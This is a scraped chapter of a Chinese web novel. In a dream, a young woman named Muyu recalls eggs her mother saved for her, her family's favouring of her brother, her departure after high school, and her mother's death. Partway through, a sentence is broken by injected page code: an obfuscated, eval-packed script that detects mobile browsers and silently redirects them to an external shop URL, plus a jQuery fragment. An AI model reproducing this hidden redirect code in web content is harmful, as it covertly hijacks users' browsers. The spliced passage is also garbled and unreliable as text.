59.鸡蛋

作品:《我就说迟早会混进来个真的

    祁帘栅和狄加顿住,两人没再说话,他们订好两间房。


    木鱼在两人担心的目光下进了房间,关门前还冲他们眨了眨眼。


    这天晚上,木鱼没过多久就睡着了,是她自从回家来这么多天,第一次两点前睡着觉。


    木鱼睡得很沉,做了一个很长的梦。


    梦里的她又回到了小时候,那是她八岁的一个晚上,放学回家,妈妈在灶台旁忙活,听见木鱼回家的声音,妈妈喊她:“回来了,把书包放下,快来帮我干活!”


    木鱼把书包往地上一甩,风风火火地走到灶台旁,拿起刀帮妈妈切菜。


    她切到一半,就听见又有人回家的声音,木鱼一转头,果然看见男人接弟弟放学回家,弟弟的书包也在男人背上。


    他们一回家,就在客厅的凳子上坐下,男人向厨房喊道:“饭做好没?”


    妈妈的声音从木鱼身后传过来:“快了,你们先去洗手。”


    说着她把锅里炖的两个鸡腿全部铲出来,放到一个大盘子里,端上了桌。


    木鱼把刀放下,走到一边擦了擦汗。


    她们家很少吃肉,家里养的鸡都是要生蛋的,一年最多吃几次鸡肉,平时只吃鸡蛋。


    妈妈把锅里剩下的汤汁舀到碗里,放在灶台上,又递给木鱼一碗米饭。


    木鱼看着碗里零星飘着的一点碎肉沫,咽了咽口水,她迫不及待地拿勺子舀了一勺汤,泡在米饭里。


    带着点肉香味的汤汁混合着米饭,让木鱼满足地舔了舔嘴。


    男人和男孩坐在餐桌前吃着饭,一人一个鸡腿,又配着炒得最嫩的青菜,吃得满嘴冒油。


    木鱼转过头看见他们,突然就觉得自己碗里的饭寡淡起来,吃着也没味了。


    她又吃了几口,好不容易才把饭吃完,就如常地把碗拿到洗手池旁,开始洗碗。


    碗上一点油都没有,木鱼随便一会儿就洗得干干净净。


    妈妈吃完饭,把碗放在木鱼手边,去餐桌上把父子俩吃完的碗筷收回来,又把剩菜端到冰箱里。


    木鱼最讨厌洗这两人的碗,他们的碗壁上总是附着一层油腻腻的污渍,很难洗,要使劲刷好几遍才能洗干净。


    等她终于洗完碗,就看见妈妈向她这边走来,递给她一个白嫩嫩的鸡蛋。


    “今天是你的生日,我特地给你留的。”妈妈脸上少见地有了一丝笑意。


    木鱼愣了一下,但很快她就甜甜得笑起来,她很珍重地捧着那枚鸡蛋,看了好久,才小声问妈妈:“我真的可以吃吗?”


    “吃吧。”妈妈轻轻摸了摸她的头,“你的头发都干了。”


    木鱼的头发乱糟糟搭在脑后,发尾分着叉,干枯发黄,完全就是一副黄毛丫头的样子。


    木鱼也不在意,她开心地剥开鸡蛋,放在嘴里小心咬了一口。


    明明是白水煮蛋,却让她尝出一股甜味,甜丝丝化在她的嘴里。


    木鱼第二次吃到鸡蛋,是她高中毕业的那天,那天家里的人少见全都坐在家里,等着她回来。


    木鱼没受过这样的重视,嘴角不自觉就上扬起来,怎么都压不回去。


    妈妈见木鱼回来,冲她招了招手。


    木鱼一蹦一跳地走过去,刚开口叫了一声:“爸爸妈妈。”


    就听见男人对她说道:“毕业了,可以去工作挣钱了。”


    木鱼还没来得及有什么反应,她的手里就被妈妈塞了个鸡蛋。


    “多吃一点,我们特意为你留的。”妈妈有些疲惫地笑起来,她这么多年来终于如释重负地松了口气,“你是我们家里学历最高的女孩子,肯定能找一份好工作,这样你也可以帮我们一起养弟弟了。”


    木鱼低下头,她看着自己手里的鸡蛋,依旧是那样白嫩嫩的一个,这回是妈妈亲手剥好的,还带着她指尖的温度。


    木鱼握紧手里的鸡蛋,冲着家里的人吼了几句,转头就跑。


    身后是男人暴怒的声音,还有女人失望的喊声。


    那天木鱼不知道自己跑了有多久,她最终在巷子里的一个静谧的角落停下来,盯着角落里一个不知道谁扔在那里的破木头箱子。


    那个木头箱子看起来很破,不知道之前是干什么的,被扔在角落里也没人在意,像一条搁浅的鱼。


    木鱼呆呆盯着它看了很久,直到手中的温度渐渐流失,木鱼才抬起手,恶狠狠地把鸡蛋一口塞进口中。


    木鱼嚼了两下,就被鸡蛋噎住,她鼓着腮帮子,倔强地把整个鸡蛋一口咽下去。


    等她回家的时候,家里的灯全部熄灭了。


    木鱼轻手轻脚地走进屋,就在自己用隔板围出的房间躺下。


    她刚躺好,就看见女人举着蜡烛走了过来。


    木鱼和女人隔着蜡烛的火光沉默对视,半晌,女人走过来,木鱼看见她眼中的担心终于化去,她有些疲惫地坐在木鱼旁边。


    女人低声开口,生怕吵醒房间里睡觉的两个人:“你怎么这么不懂事?”


    木鱼没有接话,她只是沉默地看着女人。


    女人继续说道:“你长大了,应该承担家里的责任了,不能再像以前一样,每天就会玩。”


    木鱼还是没有说话,她在学校学习很努力,成绩也不错,这一学期刚被评为学习委员。她每天干完家务后,也会自己蹲在路灯下复习学过的知识。


    “你是女孩子,读那么多书没有用,将来还是得嫁人。”女人把蜡烛放在地上,转头看向木鱼,“但是弟弟不一样,他是男孩,是我们家的香火,不能断了。”


    “我们家里条件不好,以后还要供你弟弟上大学,娶媳妇,光靠我们两个养不起他,你身为姐姐,能帮弟弟一点是一点……”


    那天女人絮絮叨叨说了很多话,木鱼听着,最终还是点了点头。


    木鱼看着女人发白的鬓角,最终还是没有说出来那句话,她只是说道:“我可以去打工,但是我不留在这里,我要去隔壁大城市,可以赚更多钱。”


    女人听到这,终于欣慰地笑了起来,她伸出手,想像往常一样抚摸木鱼的头顶,却被木鱼不着声色地躲开。


    第二天全家知道木鱼的想法后,男人把木鱼臭骂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797059|181991||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了一顿,说她不自量力。


    还是女人拦住,好说歹说把男人劝住,木鱼才坐上了出村的车。


    那天女人来送木鱼,她向无数次那样,把木鱼的行李交到她手里,又给她手里塞了个鸡蛋。


    像她八岁那年一样,女人低声道:“这是我特意给你留的,路上饿了吃。”


    木鱼看着女人眼角的皱纹,短短几年,女人已经老了很多,常年操劳让她的脸上满是疲惫。


    女人又叮嘱她道:“到了城市先安顿下来,找到工作,先不着急给家里寄钱,等你赚到了自己吃饭的钱,再把多余的钱寄回来。”


    “等我们给你弟弟存够了上大学的钱,你就可以少寄一点回来了……”


    木鱼再也不想听女人的话,她转头就坐上了出村的车,没有再回头。


    女人一路目送着木鱼离开,直到再也看不见车,才依依不舍地转过头。


    木鱼的回忆戛然而止,她突然睁开眼,有些呆愣地看着黑漆漆的天花板。


    她突然想起来,平时男人总是不回家,也老带着他的宝贝儿子出去溜达,整间破房子里就剩她们母女二人。


    这个家里她最熟悉的人就是妈妈,很多时候她晚上怕黑,睡不着觉,妈妈就会和她一起挤在她那张木板搭成的床上。


    这个家里没有她的房间,也没有她的位置,就连她以为爱她的母亲,也没有那么爱她。


    木鱼抹了把眼睛,摸到一手湿漉漉的水迹。


    她愣了一下,这才发现自己不知道什么时候哭了。


    木鱼感觉心里堵得难受,她从床上爬起来,来到窗边。


    远处是一片墓地,石碑在月光下反射着淡淡的光。


    木鱼发起呆,她又想起了那天她接起电话时的心情。


    那个电话是她的弟弟打来的,木鱼最开始以为他是又没钱了,来问自己要。木鱼想着自己最近心情好,骂他几句消消食,结果就听见她妈快不行了的消息。


    木鱼记不清自己那一瞬间在想什么,她只是用自己最快的速度赶到了她自从高中毕业后就再也没有踏足过的村子,看见了虚弱的母亲。


    明明是在木鱼身边,她那弟弟的声音却像是隔着很远传进木鱼的耳中:“妈这段时间一直病着,不让我们耽误你赚钱,结果昨天半夜突然病情恶化,医生说要是早点来兴许还有救。 ”


    “本来以为昨天晚上就没了,但是她一直睁着眼不肯咽气……”木鱼一把推开还在絮絮叨叨说着话的弟弟,走进房间。


    她没有看见那张她无比熟悉的脸,而是一张陌生瘦削的脸,很难看出以前的样子。


    床上的人很瘦,两颊深深凹下去,听到声音艰难地转动眼球看过来。


    木鱼赶紧走到她跟前,张开嘴,却发不出声音。


    她那一刻想说的话很多,却不知道应该说哪一句,最后她只发出一声沙哑的声音。


    床上的人用她仅剩的力气想对木鱼笑一笑,但是失败了。


    木鱼最后听见的,就是她轻到几乎让人以为是错觉的声音:“照顾好你弟弟……”